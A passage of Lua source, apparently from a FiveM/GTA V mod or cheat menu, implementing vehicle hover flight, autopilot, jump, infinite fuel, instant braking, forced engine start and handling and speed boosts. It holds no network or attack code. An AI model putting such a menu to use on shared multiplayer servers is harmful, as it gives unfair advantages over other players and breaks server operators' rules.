hoverState.PITCH_SMOOTH * frameTime) if hoverState.spinReturnActive then local spinReturning = hoverState.updateVehicleHoverTestSpinReturn(entity, frameTime, cameraYaw) if spinReturning then rotationInProgress = spinReturning end pitch, roll, yaw = hoverState.getVehicleHoverTestRotation(entity) end local nextPitch = pitch if not rotationInProgress then local targetPitch = 0.0 local pitchAmount = pitchSmoothing if climbUp then targetPitch = -hoverState.CLIMB_MAX_PITCH pitchAmount = math.min(1.0, hoverState.CLIMB_PITCH_SMOOTH * frameTime) elseif climbDown then targetPitch = hoverState.CLIMB_MAX_PITCH pitchAmount = math.min(1.0, hoverState.CLIMB_PITCH_SMOOTH * frameTime) elseif not climbHeld and 0.35 < math.abs(pitch) then targetPitch = 0.0 pitchAmount = math.min(1.0, hoverState.CLIMB_RETURN_PITCH_SMOOTH * frameTime) elseif cameraPitch < 0.0 then targetPitch = math.max(-hoverState.MAX_PITCH, cameraPitch * hoverState.PITCH_FOLLOW) end nextPitch = pitch + (targetPitch - pitch) * pitchAmount end local nextYaw = hoverState.lerpVehicleHoverTestAngle(yaw, cameraYaw, yawSmoothing) local nextRoll = roll if not rotationInProgress then local targetRoll = 0.0 if not spinCombinationPressed and hoverState.isVehicleHoverTestLeftPressed() then targetRoll = targetRoll + hoverState.MAX_ROLL end if not spinCombinationPressed and hoverState.isVehicleHoverTestRightPressed() then targetRoll = targetRoll - hoverState.MAX_ROLL end local rollAmount = math.min(1.0, hoverState.ROLL_SMOOTH * frameTime) hoverState.roll = hoverState.roll + (targetRoll - hoverState.roll) * rollAmount nextRoll = hoverState.roll else hoverState.roll = roll end if not rotationInProgress then SetEntityRotation(entity, nextPitch, nextRoll, nextYaw, 2, true) end end local boostPressed = hoverState.isVehicleHoverTestControlPressed(21) local boostMultiplier = boostPressed and hoverState.SHIFT_MULT or 1.0 hoverState.updateVehicleHoverTestExhaustFire(entity, boostPressed) local thrust = hoverState.THRUST * frameTime * boostMultiplier local lateralThrust = thrust * 0.55 local maximumSpeed = hoverState.MAX_SPEED * boostMultiplier local nextVelocityX = hoverState.velX local nextVelocityY = hoverState.velY local nextVelocityZ = hoverState.velZ local movementApplied = false local usePlanarDirection = climbUp or climbDown forwardPressed = hoverState.isVehicleHoverTestForwardPressed() backwardPressed = hoverState.isVehicleHoverTestBackwardPressed() if usePlanarDirection or backwardWhileClimbing or forwardWhileClimbing then local forwardX, forwardY, forwardZ = hoverState.getVehicleHoverTestPlanarForwardVector(entity) if forwardPressed then nextVelocityX = nextVelocityX + forwardX * thrust nextVelocityY = nextVelocityY + forwardY * thrust nextVelocityZ = nextVelocityZ + forwardZ * thrust movementApplied = true elseif backwardPressed then nextVelocityX = nextVelocityX - forwardX * thrust * 0.75 nextVelocityY = nextVelocityY - forwardY * thrust * 0.75 nextVelocityZ = nextVelocityZ - forwardZ * thrust * 0.75 movementApplied = true end elseif forwardPressed then nextVelocityX = nextVelocityX + cameraForwardX * thrust nextVelocityY = nextVelocityY + cameraForwardY * thrust nextVelocityZ = nextVelocityZ + cameraForwardZ * thrust movementApplied = true elseif backwardPressed then nextVelocityX = nextVelocityX - cameraForwardX * thrust * 0.75 nextVelocityY = nextVelocityY - cameraForwardY * thrust * 0.75 nextVelocityZ = nextVelocityZ - cameraForwardZ * thrust * 0.75 movementApplied = true end if not spinCombinationPressed and hoverState.isVehicleHoverTestLeftPressed() then nextVelocityX = nextVelocityX - cameraRightX * lateralThrust nextVelocityY = nextVelocityY - cameraRightY * lateralThrust movementApplied = true end if not spinCombinationPressed and hoverState.isVehicleHoverTestRightPressed() then nextVelocityX = nextVelocityX + cameraRightX * lateralThrust nextVelocityY = nextVelocityY + cameraRightY * lateralThrust movementApplied = true end if hoverState.isVehicleHoverTestControlPressed(22) then nextVelocityZ = nextVelocityZ + thrust movementApplied = true end if hoverState.isVehicleHoverTestControlPressed(36) then nextVelocityZ = nextVelocityZ - thrust movementApplied = true end local height = tonumber(GetEntityHeightAboveGround(entity)) if height and height < hoverState.GROUND_HOVER_HEIGHT and not hoverState.isVehicleHoverTestControlPressed(36) then local liftSpeed = (hoverState.GROUND_HOVER_HEIGHT - height) * 2.8 if nextVelocityZ < liftSpeed then nextVelocityZ = liftSpeed end movementApplied = true end if not movementApplied then local horizontalSpeed = math.sqrt(nextVelocityX * nextVelocityX + nextVelocityY * nextVelocityY) local damping = math.max(0.0, 1.0 - hoverState.HOVER_DAMP * frameTime) if 8.0 < horizontalSpeed then local highSpeedDamping = math.max(0.0, 1.0 - hoverState.HOVER_DAMP * 0.18 * frameTime) nextVelocityX = nextVelocityX * highSpeedDamping nextVelocityY = nextVelocityY * highSpeedDamping else nextVelocityX = nextVelocityX * damping nextVelocityY = nextVelocityY * damping end nextVelocityZ = nextVelocityZ * damping if math.abs(nextVelocityX) < 0.12 then nextVelocityX = 0.0 end if math.abs(nextVelocityY) < 0.12 then nextVelocityY = 0.0 end if math.abs(nextVelocityZ) < 0.12 then nextVelocityZ = 0.0 end end nextVelocityX, nextVelocityY, nextVelocityZ = hoverState.clampVehicleHoverTestVelocity(nextVelocityX, nextVelocityY, nextVelocityZ, maximumSpeed) hoverState.velX = nextVelocityX hoverState.velY = nextVelocityY hoverState.velZ = nextVelocityZ local x, y, z = hoverState.getVehicleHoverTestCoords(entity) SetEntityCoordsNoOffset( entity, x + nextVelocityX * frameTime, y + nextVelocityY * frameTime, z + nextVelocityZ * frameTime, false, false, false ) SetEntityVelocity(entity, nextVelocityX, nextVelocityY, nextVelocityZ) hoverState.applyVehicleHoverTestWheelSkew(entity, hoverState.isVehicleHoverTestFlightActive(entity)) return true end hoverState.applyVehicleHoverTest = applyVehicleHoverTest end do local function stopVehicleHoverTestThread() if hoverState.thread then hoverState.thread = nil end hoverState.resetVehicleHoverTestState() end hoverState.stopVehicleHoverTestThread = stopVehicleHoverTestThread end do local function ensureVehicleHoverTestThread() if hoverState.thread then return end hoverState.thread = true Citizen.CreateThread(function() while _G.runmenu == true and hoverState.thread do if menu.vars.bools.vehicleHoverTest then local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) and GetPedInVehicleSeat(vehicle, -1) == playerPed then if hoverState.flying then hoverState.blockVehicleHoverTestQRadioThisFrame() end hoverState.drawVehicleHoverTestHint() hoverState.tryFireVehicleHoverTestRocket(vehicle) hoverState.tryFireVehicleHoverTestLasers(vehicle) hoverState.applyVehicleHoverTest(vehicle) Wait(0) else hoverState.resetVehicleHoverTestState() Wait(100) end else hoverState.resetVehicleHoverTestState() Wait(100) end else hoverState.stopVehicleHoverTestThread() break end end hoverState.thread = nil hoverState.resetVehicleHoverTestState() end) end hoverState.ensureVehicleHoverTestThread = ensureVehicleHoverTestThread end stabilityVehicle = nil savedStabilityHandling = nil powerVehicle = nil savedPowerHandling = nil autopilotLastTaskAt = 0 local function getGroundPositionForVector(vector) if not vector then return nil end local x, y, z = vector.x, vector.y, vector.z RequestCollisionAtCoord(x, y, z) local found, groundZ = GetGroundZFor_3dCoord(x, y, z + 500.0, false) if found then z = groundZ + 1.0 end return vector3(x, y, z) end local function captureStabilityHandling(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end stabilityVehicle = entity local handling = {} handling.fTractionCurveMax = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionCurveMax") handling.fTractionCurveMin = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionCurveMin") handling.fTractionLossMult = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionLossMult") handling.fLowSpeedTractionLossMult = GetVehicleHandlingFloat(entity, "CHandlingData", "fLowSpeedTractionLossMult") handling.fSuspensionForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fSuspensionForce") handling.fSuspensionCompDamp = GetVehicleHandlingFloat(entity, "CHandlingData", "fSuspensionCompDamp") handling.fSuspensionReboundDamp = GetVehicleHandlingFloat(entity, "CHandlingData", "fSuspensionReboundDamp") handling.fAntiRollBarForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fAntiRollBarForce") handling.fRollCentreHeightFront = GetVehicleHandlingFloat(entity, "CHandlingData", "fRollCentreHeightFront") handling.fRollCentreHeightRear = GetVehicleHandlingFloat(entity, "CHandlingData", "fRollCentreHeightRear") handling.fCamberStiffnesss = GetVehicleHandlingFloat(entity, "CHandlingData", "fCamberStiffnesss") handling.fSteeringLock = GetVehicleHandlingFloat(entity, "CHandlingData", "fSteeringLock") handling.fBrakeForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fBrakeForce") handling.vecInertiaMultiplier = GetVehicleHandlingVector(entity, "CHandlingData", "vecInertiaMultiplier") handling.vecCentreOfMassOffset = GetVehicleHandlingVector(entity, "CHandlingData", "vecCentreOfMassOffset") savedStabilityHandling = handling end local function restoreStabilityHandling() if stabilityVehicle and savedStabilityHandling and DoesEntityExist(stabilityVehicle) then SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fTractionCurveMax", savedStabilityHandling.fTractionCurveMax ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fTractionCurveMin", savedStabilityHandling.fTractionCurveMin ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fTractionLossMult", savedStabilityHandling.fTractionLossMult ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fLowSpeedTractionLossMult", savedStabilityHandling.fLowSpeedTractionLossMult ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fSuspensionForce", savedStabilityHandling.fSuspensionForce ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fSuspensionCompDamp", savedStabilityHandling.fSuspensionCompDamp ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fSuspensionReboundDamp", savedStabilityHandling.fSuspensionReboundDamp ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fAntiRollBarForce", savedStabilityHandling.fAntiRollBarForce ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fRollCentreHeightFront", savedStabilityHandling.fRollCentreHeightFront ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fRollCentreHeightRear", savedStabilityHandling.fRollCentreHeightRear ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fCamberStiffnesss", savedStabilityHandling.fCamberStiffnesss ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fSteeringLock", savedStabilityHandling.fSteeringLock ) SetVehicleHandlingFloat( stabilityVehicle, "CHandlingData", "fBrakeForce", savedStabilityHandling.fBrakeForce ) SetVehicleHandlingVector( stabilityVehicle, "CHandlingData", "vecInertiaMultiplier", savedStabilityHandling.vecInertiaMultiplier ) SetVehicleHandlingVector( stabilityVehicle, "CHandlingData", "vecCentreOfMassOffset", savedStabilityHandling.vecCentreOfMassOffset ) end stabilityVehicle = nil savedStabilityHandling = nil end local function applyStabilityHandling(vehicle) if not savedStabilityHandling then return end local handling = savedStabilityHandling local inertia = handling.vecInertiaMultiplier local centerOfMass = handling.vecCentreOfMassOffset local vehicleClass = GetVehicleClass(vehicle) local isTwoWheeled = vehicleClass == 8 or vehicleClass == 13 SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionCurveMax", math.max(handling.fTractionCurveMax * 1.32, handling.fTractionCurveMax + 0.5) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionCurveMin", math.max(handling.fTractionCurveMin * 1.25, handling.fTractionCurveMin + 0.3) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionLossMult", math.max(0.05, handling.fTractionLossMult * 0.45) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fLowSpeedTractionLossMult", math.max(0.0, handling.fLowSpeedTractionLossMult * 0.4) ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fCamberStiffnesss", handling.fCamberStiffnesss) if not isTwoWheeled then SetVehicleHandlingFloat(vehicle, "CHandlingData", "fSuspensionForce", handling.fSuspensionForce * 1.28) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSuspensionCompDamp", handling.fSuspensionCompDamp * 1.18 ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSuspensionReboundDamp", handling.fSuspensionReboundDamp * 1.18 ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fAntiRollBarForce", handling.fAntiRollBarForce * 1.5) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fRollCentreHeightFront", math.max(handling.fRollCentreHeightFront * 1.05, 0.35) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fRollCentreHeightRear", math.max(handling.fRollCentreHeightRear * 1.05, 0.35) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSteeringLock", math.min(handling.fSteeringLock + 8.0, 46.0) ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fBrakeForce", handling.fBrakeForce * 1.15) SetVehicleHandlingVector( vehicle, "CHandlingData", "vecInertiaMultiplier", vector3(math.max(inertia.x, 1.0), math.max(inertia.y * 1.1, 1.35), math.max(inertia.z * 1.05, 1.5)) ) SetVehicleHandlingVector( vehicle, "CHandlingData", "vecCentreOfMassOffset", vector3(centerOfMass.x, centerOfMass.y, centerOfMass.z - 0.15) ) else SetVehicleHandlingFloat( vehicle, "CHandlingData", "fSteeringLock", math.min(handling.fSteeringLock + 5.0, 42.0) ) SetVehicleHandlingFloat(vehicle, "CHandlingData", "fBrakeForce", handling.fBrakeForce * 1.1) end SetVehicleReduceGrip(vehicle, false) if SetDriftTyresEnabled then SetDriftTyresEnabled(vehicle, false) end end local function capturePowerHandling(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end powerVehicle = entity local handling = {} handling.fInitialDriveMaxFlatVel = GetVehicleHandlingFloat(entity, "CHandlingData", "fInitialDriveMaxFlatVel") handling.fInitialDriveForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fInitialDriveForce") handling.fDriveInertia = GetVehicleHandlingFloat(entity, "CHandlingData", "fDriveInertia") handling.fClutchChangeRateScaleUpShift = GetVehicleHandlingFloat(entity, "CHandlingData", "fClutchChangeRateScaleUpShift") handling.fClutchChangeRateScaleDownShift = GetVehicleHandlingFloat(entity, "CHandlingData", "fClutchChangeRateScaleDownShift") handling.fTractionCurveMax = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionCurveMax") handling.fTractionCurveMin = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionCurveMin") handling.fTractionLossMult = GetVehicleHandlingFloat(entity, "CHandlingData", "fTractionLossMult") handling.fLowSpeedTractionLossMult = GetVehicleHandlingFloat(entity, "CHandlingData", "fLowSpeedTractionLossMult") handling.fAntiRollBarForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fAntiRollBarForce") handling.fSuspensionForce = GetVehicleHandlingFloat(entity, "CHandlingData", "fSuspensionForce") handling.fSteeringLock = GetVehicleHandlingFloat(entity, "CHandlingData", "fSteeringLock") handling.fCamberStiffnesss = GetVehicleHandlingFloat(entity, "CHandlingData", "fCamberStiffnesss") savedPowerHandling = handling end local function restorePowerHandling(preserveTraction) if powerVehicle and savedPowerHandling and DoesEntityExist(powerVehicle) then SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fInitialDriveMaxFlatVel", savedPowerHandling.fInitialDriveMaxFlatVel ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fInitialDriveForce", savedPowerHandling.fInitialDriveForce ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fDriveInertia", savedPowerHandling.fDriveInertia ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fClutchChangeRateScaleUpShift", savedPowerHandling.fClutchChangeRateScaleUpShift ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fClutchChangeRateScaleDownShift", savedPowerHandling.fClutchChangeRateScaleDownShift ) if not preserveTraction then SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fTractionCurveMax", savedPowerHandling.fTractionCurveMax ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fTractionCurveMin", savedPowerHandling.fTractionCurveMin ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fTractionLossMult", savedPowerHandling.fTractionLossMult ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fLowSpeedTractionLossMult", savedPowerHandling.fLowSpeedTractionLossMult ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fAntiRollBarForce", savedPowerHandling.fAntiRollBarForce ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fSuspensionForce", savedPowerHandling.fSuspensionForce ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fSteeringLock", savedPowerHandling.fSteeringLock ) SetVehicleHandlingFloat( powerVehicle, "CHandlingData", "fCamberStiffnesss", savedPowerHandling.fCamberStiffnesss ) end SetVehicleEnginePowerMultiplier(powerVehicle, 0.0) SetVehicleEngineTorqueMultiplier(powerVehicle, 1.0) end powerVehicle = nil savedPowerHandling = nil end while _G.runmenu == true do local waitTime = 1000 local playerPed = PlayerPedId() local inVehicle = IsPedInAnyVehicle(playerPed, false) local playerVehicle if inVehicle then playerVehicle = GetVehiclePedIsIn(playerPed, false) end if not playerVehicle then playerVehicle = nil end local statsCurrentTime = GetGameTimer() local vehicleChanged = playerVehicle ~= lastVehicleStatsVehicle if ( vehicleChanged or playerVehicle and 2000 < statsCurrentTime - lastVehicleStatsUpdateAt ) then menu.functions.updateVehicleStats() if vehicleChanged then lastVehicleStatsVehicle = playerVehicle end lastVehicleStatsUpdateAt = statsCurrentTime end if not playerVehicle then lastVehicleStatsVehicle = nil end if menu.vars.bools.autoPilot then if IsPedInAnyVehicle(playerPed, false) then waitTime = 10 local vehicle = GetVehiclePedIsIn(playerPed, false) if GetPedInVehicleSeat(vehicle, -1) == playerPed then local cruiseSpeed = 100.0 local drivingStyle = 2883621 local waypoint = GetFirstBlipInfoId(8) SetPedKeepTask(playerPed, true) SetBlockingOfNonTemporaryEvents(playerPed, true) SetVehicleEngineOn(vehicle, true, true, false) if DoesBlipExist(waypoint) then local targetPosition = getGroundPositionForVector(GetBlipInfoIdCoord(waypoint)) local taskStatus = GetScriptTaskStatus(playerPed, 2477085294) local currentTime = GetGameTimer() local distance = #(GetEntityCoords(vehicle) - targetPosition) local shouldStartTask = true if waypoint == autopilotWaypointBlip and autopilotWaypointPosition ~= nil and #(targetPosition - autopilotWaypointPosition) <= 5.0 and (taskStatus == 0 or taskStatus == 1) then shouldStartTask = 4000 < currentTime - autopilotLastTaskAt and 25.0 < distance and GetEntitySpeed(vehicle) < 2.0 end if shouldStartTask then TaskVehicleDriveToCoord( playerPed, vehicle, targetPosition.x, targetPosition.y, targetPosition.z, cruiseSpeed, 0, GetEntityModel(vehicle), drivingStyle, 8.0 ) autopilotWaypointBlip = waypoint autopilotWaypointPosition = targetPosition autopilotLastTaskAt = currentTime autopilotTaskActive = true end SetDriveTaskCruiseSpeed(playerPed, cruiseSpeed) SetDriveTaskDrivingStyle(playerPed, drivingStyle) elseif autopilotTaskActive then ClearPedTasks(playerPed) SetBlockingOfNonTemporaryEvents(playerPed, false) autopilotTaskActive = false autopilotWaypointBlip = nil autopilotWaypointPosition = nil autopilotLastTaskAt = 0 end end end elseif autopilotTaskActive then waitTime = 10 autopilotTaskActive = false autopilotWaypointBlip = nil autopilotWaypointPosition = nil autopilotLastTaskAt = 0 SetBlockingOfNonTemporaryEvents(playerPed, false) ClearPedTasks(playerPed) end if menu.vars.bools.vehicleJump and IsPedInAnyVehicle(playerPed, false) and IsControlJustPressed(0, 22) then waitTime = 1 local vehicle = GetVehiclePedIsIn(playerPed, false) if not menu.vars.sliders then menu.vars.sliders = {} end local jumpHeight = tonumber(menu.vars.sliders.vehicleJumpHeight) or 10.0 local normalizedHeight = math.max(2.0, math.min(30.0, jumpHeight)) local force = 16.0 + (normalizedHeight - 2.0) / (30.0 - 2.0) * (50.0 - 16.0) ApplyForceToEntity(vehicle, 1, 0.0, 0.0, force, 0.0, 0.0, 0.0, 0, false, true, true, false, true) end if menu.vars.bools.infiniteVehicleFuel and IsPedInAnyVehicle(playerPed, false) then waitTime = 0 local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) and SetVehicleFuelLevel then SetVehicleFuelLevel(vehicle, 100.0) end end if menu.vars.bools.instantStop and IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if GetPedInVehicleSeat(vehicle, -1) == playerPed then local aboveGround = IsEntityInAir(vehicle) if not aboveGround then aboveGround = 1.5 < GetEntityHeightAboveGround(vehicle) end if aboveGround then instantStopWasAirborne = true else if instantStopWasAirborne then instantStopAwaitingRelease = true instantStopWasAirborne = false end if IsControlJustReleased(0, 72) then instantStopAwaitingRelease = false end local velocity = GetEntityVelocity(vehicle) local forward = GetEntityForwardVector(vehicle) local forwardSpeed = velocity.x * forward.x + velocity.y * forward.y + velocity.z * forward.z local brakePressed = false if 0.5 < forwardSpeed then if instantStopAwaitingRelease then brakePressed = IsControlJustPressed(0, 72) else brakePressed = IsControlPressed(0, 72) end end if brakePressed then waitTime = 0 SetVehicleForwardSpeed(vehicle, 0.0) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) instantStopAwaitingRelease = false end end end end if menu.vars.selectors.hornBoostSelector and 1 < menu.vars.selectors.hornBoostSelector and IsPedInAnyVehicle(playerPed, false) then waitTime = 1 local boostControl if menu.vars.selectors.hornBoostSelector == 2 then boostControl = 86 elseif menu.vars.selectors.hornBoostSelector == 3 then boostControl = 21 end if boostControl and IsControlPressed(0, boostControl) then if hornBoostStartedAt == nil then hornBoostStartedAt = GetGameTimer() end local boostMultiplier = math.min(1.0 + (GetGameTimer() - hornBoostStartedAt) / 1000.0 * 0.5, 3.0) local vehicle = GetVehiclePedIsIn(playerPed, false) local cameraRotation = GetFinalRenderedCamRot if cameraRotation then cameraRotation = GetFinalRenderedCamRot(2) end if not cameraRotation then cameraRotation = GetGameplayCamRot if cameraRotation then cameraRotation = GetGameplayCamRot(2) end end local direction if cameraRotation then SetEntityRotation(vehicle, cameraRotation.x or 0.0, 0.0, cameraRotation.z or 0.0, 2, true) direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local length = math.sqrt(direction.x * direction.x + direction.y * direction.y + direction.z * direction.z) if length > 0.001 then direction = vector3(direction.x / length, direction.y / length, direction.z / length) end else direction = GetEntityForwardVector(vehicle) end local speed = (menu.vars.sliders.hornBoostSpeed or 60.0) * boostMultiplier SetEntityVelocity(vehicle, direction.x * speed, direction.y * speed, direction.z * speed) else hornBoostStartedAt = nil end end if menu.vars.bools.forceEngineOn and IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if GetPedInVehicleSeat(vehicle, -1) == playerPed then SetVehicleUndriveable(vehicle, false) SetVehicleNeedsToBeHotwired(vehicle, false) SetVehicleHasBeenOwnedByPlayer(vehicle, true) SetVehicleIsStolen(vehicle, false) SetVehicleEngineHealth(vehicle, math.max(GetVehicleEngineHealth(vehicle), 200.0)) SetVehicleEngineOn(vehicle, true, true, true) end end if menu.vars.bools.fastEnterVehicle then waitTime = math.min(waitTime, 0) if not IsPedInAnyVehicle(playerPed, false) then if not IsPedRagdoll(playerPed) then local vehicle = GetVehiclePedIsTryingToEnter(playerPed) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local currentTime = GetGameTimer() if lastSeatSwitchVehicle ~= vehicle or currentTime - lastSeatSwitchAt >= 250 then local seat = GetSeatPedIsTryingToEnter(playerPed) if seat == nil or seat < -1 then seat = -1 end ClearPedTasks(playerPed) SetPedIntoVehicle(playerPed, vehicle, seat) lastSeatSwitchVehicle = vehicle lastSeatSwitchAt = currentTime end else lastSeatSwitchVehicle = nil end else lastSeatSwitchVehicle = nil end else lastSeatSwitchVehicle = nil end else lastSeatSwitchVehicle = nil end inVehicle = IsPedInAnyVehicle(playerPed, false) if inVehicle and not wasInVehicle then fastExitBlockedUntil = GetGameTimer() + 750 end wasInVehicle = inVehicle if menu.vars.bools.fastExitVehicle and inVehicle then waitTime = math.min(waitTime, 0) if fastExitBlockedUntil <= GetGameTimer() then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) and (IsControlJustPressed(0, 75) or IsDisabledControlJustPressed(0, 75)) then ClearPedTasks(playerPed) TaskLeaveVehicle(playerPed, vehicle, 16) end end end local hoverFlightActive = menu.vars.bools.vehicleHoverTest if hoverFlightActive then hoverFlightActive = hoverState.isVehicleHoverTestFlightActive(GetVehiclePedIsIn(playerPed, false)) end if menu.functions.tickVanityWaterDriving(playerPed, hoverFlightActive, hoverState) then waitTime = math.min(waitTime, 0) end if menu.vars.bools.alwaysOnGround and not menu.vars.vanityWaterGlide and IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) and GetPedInVehicleSeat(vehicle, -1) == playerPed then if handlingVehicle ~= vehicle then restoreHoverVehicleHandling() captureHoverVehicleHandling(vehicle) end local pitch, roll, yaw = table.unpack(GetEntityRotation(vehicle, 2)) local height = GetEntityHeightAboveGround(vehicle) local entityInAir = IsEntityInAir(vehicle) local airborne = entityInAir or height > 0.75 local velocity = GetEntityVelocity(vehicle) local descending = velocity.z < -1.5 if airborne then local hoverFlight = menu.vars.bools.vehicleHoverTest and hoverState.isVehicleHoverTestFlightActive(vehicle) if hoverFlight then airborneFrames = airborneFrames + 1 wasAirborneForLanding = true else if airborneFrames == 0 then captureHoverVehicleSpinDirection(vehicle, velocity) end airborneFrames = airborneFrames + 1 wasAirborneForLanding = true waitTime = math.min(waitTime, 0) if not isHoverVehicleSpinActive() and entityInAir and airborneFrames >= 2 and descending and landingTiltDistanceLimit >= height and height > 0.15 then waitTime = math.min(waitTime, 25) landingTiltSmoothed = true smoothHoverVehicleLandingTilt(vehicle, pitch, roll, height) end end elseif wasAirborneForLanding then waitTime = math.min(waitTime, 0) wasAirborneForLanding = false airborneFrames = 0 captureHoverVehicleLandingDirection(vehicle, velocity, spinVelocityDirection) landingRecoveryFrames = landingRecoveryDuration spinVelocityDirection = nil resetHoverVehicleSpinState() applyHoverVehicleLandingDirection(vehicle) if landingTiltSmoothed then local rotationVelocity = GetEntityRotationVelocity(vehicle) local currentPitch, currentRoll, currentYaw = table.unpack(GetEntityRotation(vehicle, 2)) setHoverVehicleRotationAndRepairWheels( vehicle, pitch + (0.0 - pitch) * 0.15, roll + (0.0 - roll) * 0.15, currentYaw ) invokeNativeWithRotationVelocity(vehicle, rotationVelocity, 0.82) end landingTiltSmoothed = false else airborneFrames = 0 if 0 < landingRecoveryFrames then waitTime = math.min(waitTime, 0) applyHoverVehicleLandingDirection(vehicle) landingRecoveryFrames = landingRecoveryFrames - 1 if landingRecoveryFrames == 0 then clearHoverVehicleLandingDirection() end end if IsEntityUpsidedown(vehicle) or 75.0 < math.abs(roll) or 75.0 < math.abs(pitch) then waitTime = math.min(waitTime, 50) setHoverVehicleRotationAndRepairWheels(vehicle, 0.0, 0.0, yaw) SetVehicleOnGroundProperly(vehicle) end end end else wasAirborneForLanding = false landingTiltSmoothed = false airborneFrames = 0 spinVelocityDirection = nil resetHoverVehicleSpinState() clearHoverVehicleLandingDirection() restoreHoverVehicleHandling() end if menu.vars.bools.easyHandling and IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if GetPedInVehicleSeat(vehicle, -1) == playerPed then if stabilityVehicle ~= vehicle then restoreStabilityHandling() captureStabilityHandling(vehicle) end applyStabilityHandling(vehicle) else restoreStabilityHandling() end else restoreStabilityHandling() end if menu.vars.bools.speedBoost then local boostLevel = math.max(menu.vars.sliders.speedBoostLevel or 1.0, 1.0) if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if GetPedInVehicleSeat(vehicle, -1) == playerPed then if powerVehicle ~= vehicle then restorePowerHandling(menu.vars.bools.easyHandling) capturePowerHandling(vehicle) end if savedPowerHandling then local boostDelta = boostLevel - 1.0 SetVehicleHandlingFloat( vehicle, "CHandlingData", "fInitialDriveMaxFlatVel", savedPowerHandling.fInitialDriveMaxFlatVel * boostLevel ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fInitialDriveForce", savedPowerHandling.fInitialDriveForce * (1.0 + boostDelta * 0.75) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fDriveInertia", savedPowerHandling.fDriveInertia * (1.0 + boostDelta * 0.2) ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fClutchChangeRateScaleUpShift", savedPowerHandling.fClutchChangeRateScaleUpShift * boostLevel ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fClutchChangeRateScaleDownShift", savedPowerHandling.fClutchChangeRateScaleDownShift * boostLevel ) SetVehicleEnginePowerMultiplier(vehicle, boostDelta * 40.0) SetVehicleEngineTorqueMultiplier(vehicle, 1.0 + boostDelta * 0.35) if not menu.vars.bools.easyHandling then local tractionMultiplier = 1.0 + boostDelta * 0.4 SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionCurveMax", savedPowerHandling.fTractionCurveMax * tractionMultiplier ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionCurveMin", savedPowerHandling.fTractionCurveMin * tractionMultiplier ) SetVehicleHandlingFloat( vehicle, "CHandlingData", "fTractionLossMult", math.max(0.0, savedPowerHandling.fTractionLossMult - boostDelta * 0.1) ) 